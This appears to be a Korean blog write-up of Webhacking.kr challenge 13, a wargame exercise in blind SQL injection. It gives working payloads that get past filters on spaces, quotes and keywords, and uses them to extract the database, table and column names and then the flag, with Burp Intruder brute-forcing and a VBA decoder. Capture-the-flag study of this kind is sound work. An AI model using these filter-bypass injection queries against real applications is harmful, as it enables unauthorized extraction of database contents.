Information Security/General Technique

Webhacking.kr 13번 - No Python

hackcatml 2020. 2. 9. 19:50
반응형

■인젝션 포인트:

no=1 대입하면 result: 1출력.

1이외의 값 대입하면 result: 0 출력

no에 쿼리를 집어넣어 참, 거짓 판단 가능.

 

필터링 되는 문자:

버프에서 테스트

테스트 결과:

+, whitespace, =, like, *, /, char, 0x, and, ascii

 

■데이터베이스 이름 알아내기:

공백은 (, )으로 우회, like는 regexp 또는 in으로 우회.

싱글 쿼터(')는 필터링이 안되서 다음과 같이 쿼리문을 날렸으나 아무 응답 없음.

no=if(substr(database(),1,1)in('a'),1,10)

 

0x는 필터링 되고, 싱글쿼터는 응답 없으므로 2진법(0b10101110 등)으로 질의

버프의 intruder 기능 중 cluster bomb 활용(burp Pro에서만 지원되는 기능)

no=if(substr(database(),1,1)in(0b1),1,10)

 

attack point 세팅

 

payload 세팅

1번째 페이로드의 경우 1부터 10까지 1씩 증가

 

2번째 페이로드의 경우 2진법을 brute force하므로 8개의 각 자리에 대하여 0또는 1대입 공격

 

공격수행.

참이면 result: 1이 출력되므로 matching 문자열 <td>1 로 세팅

 

결과값 복사하여 엑셀에 붙여넣고, vba코드로 이진수를 문자로 변환

vba 코드:

Sub test()
    Dim n As Integer
    
    lastrow = ActiveSheet.Cells(Rows.Count, 2).End(xlUp).Row
    Set myrange = Range("c2:c" & CStr(lastrow))
    
    For Each my_range In myrange
        n = 0
        ' 2진수 10진수로 변환
        For s = 1 To Len(my_range)
            n = n + (Mid(my_range, Len(my_range) - s + 1, 1) * (2 ^ (s - 1)))
        Next
        
        'ascii 10진수의 char값 구하기
        my_range.Offset(0, 1).Value = Chr(n)
    Next
End Sub

 

데이터베이스 이름: chall13

 

■테이블 이름 알아내기

information_schema.tables에서 table_name을 조회하면 됨

limit는 min()으로 우회

그러나 아래와 같은 쿼리로 조회할 경우, table_name이 chall13 db에 속해있는지 알 수 없음.

no=if(substr((select(min(table_name))from(information_schema.tables)),1,1)in(0b1),1,10)

 

table_name을 다음과 같이 서브쿼리로 바꿔치기함(db이름이 'chall13'일 경우에만 table_name 출력)

table_name -> if((select(table_schema)in('chall13')),table_name,null)

 

싱글쿼터의 경우 응답이 없으므로 2진법으로 바꿔치기함

string to binary site: https://codebeautify.org/string-binary-converter

if((select(table_schema)in('chall13')),table_name,null) -> 

if((select(table_schema)in(0b01100011011010000110000101101100011011000011000100110011)),table_name,null)

 

최종 쿼리:

no=if(substr((select(min(if((select(table_schema)in(0b01100011011010000110000101101100011011000011000100110011)),table_name,null)))from(information_schema.tables)),1,1)in(0b1),1,10)

 

마찬가지로 attack point 세팅 -> 페이로드 세팅 -> cluster bomb으로 공격 수행 --> vba로 문자변환

 

실행결과 테이블의 이름: flag_ab733768

 

■컬럼 이름 알아내기

information_schema.columns에서 column_name을 조회하면 됨

그러나 아래와 같은 쿼리로 조회할 경우, column_name이 "flag_ab733768" 테이블에 속해있는지 알 수 없음.

no=if(substr((select(min(column_name))from(information_schema.columns)),1,1)in(0b1),1,10)

 

column_name을 다음과 같이 서브쿼리로 바꿔치기함(테이블 이름이 'flag_ab733768'일 경우에만 column_name 출력)

column_name -> if((select(table_name)in('flag_ab733768')),column_name,NULL)

 

싱글쿼터의 경우 응답이 없으므로 2진법으로 바꿔치기함

if((select(table_name)in('flag_ab733768')),column_name,null) -> 

if((select(table_name)in(0b01100110011011000110000101100111010111110110000101100010001101110011001100110011001101110011011000111000)),column_name,null)

 

최종 쿼리:

if(substr((select(min(if((select(table_name)in(0b01100110011011000110000101100111010111110110000101100010001101110011001100110011001101110011011000111000)),column_name,null)))from(information_schema.columns)),1,1)in(0b1),1,10)

 

마찬가지로 attack point 세팅 -> 페이로드 세팅 -> cluster bomb으로 공격 수행 --> vba로 문자변환

 

실행결과 컬럼 이름: flag_3a55b31d

 

■FLAG 알아내기

테이블 이름과 컬럼 이름을 알아내었으므로 쿼리는 훨씬 간단해짐

no=if(substr((select(min(flag_3a55b31d))from(flag_ab733768)),1,1)in(0b1),1,10)

 

min() 으로 공격 수행할 경우 알아낸 값은 flag와는 거리가 멀어보임

flag 이름이 flag?

 

max()로 공격 수행

no=if(substr((select(max(flag_3a55b31d))from(flag_ab733768)),1,1)in(0b1),1,10)

 

실행결과 flag이름: flag{challenge13gummyclear}

placeholder에 적혀있는데로 FLAG{challenge13gummyclear} 제출하면 클리어

 

반응형